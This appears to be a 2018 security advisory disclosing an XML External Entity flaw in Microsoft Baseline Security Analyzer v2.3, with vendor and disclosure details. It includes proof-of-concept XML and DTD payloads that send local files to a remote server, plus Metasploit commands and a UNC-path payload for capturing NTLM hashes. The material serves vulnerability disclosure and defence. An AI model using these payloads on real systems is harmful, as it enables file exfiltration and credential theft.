Microsoft Baseline Security Analyzer v2.3 / XML External Entity Injection

2018-09-08 / 2018-09-11
us hyp3rlinx (US) us
Risk: High
Local: Yes
Remote: No

[+] Credits: John Page (aka hyp3rlinx) [+] Website: [+] Source: [+] ISR: Apparition Security [+] Zero Day Initiative Program [Vendor] [Product] Microsoft Baseline Security Analyzer v2.3 Microsoft Baseline Security Analyzer (MBSA) is a software tool released by Microsoft to determine security state by assessing missing security updates and less-secure security settings within Microsoft Windows, Windows components such as Internet Explorer, IIS web server, and products Microsoft SQL Server, and Microsoft Office macro settings. [Vulnerability Type] XML External Entity Injection [ZDI Reference] ZDI-CAN-6307 [Security Issue] Microsoft Baseline Security Analyzer allows local files to be exfiltrated to a remote attacker controlled server if a user opens a specially crafted ".mbsa" file. [Exploit/POC] Install MBSA 1) "evil.mbsa" <?xml version="1.0"?> <!DOCTYPE fileppe_fingerz [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM ""> %dtd;]> <pwn>&send;</pwn> 2) "payload.dtd" <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM ';'>"> %all; When victim attempts open file they get prompted "Do you want to let this app make changes to your device?" However, it also indicates it is a "verified publisher" namely Microsoft. After opening the local users files can be exfiltrated to a remote server. Moreover, we can use this to steal NTLM hashes. Using Forced Authentication to steal NTLM hashes 2) msf > use auxiliary/server/capture/smb msf auxiliary(smb) > exploit -j "evil.mbsa" <?xml version="1.0"?> <!DOCTYPE fileppe_fingerz [ <!ENTITY % dtd SYSTEM "\\\unknwonfilez"> %dtd;]> Result: credentials captured by remote sever [Network Access] Remote [Severity] High [Disclosure Timeline] Notification: Trend Micro Zero Day Initiative Program Vendor reply: Program deprecated September 8, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx


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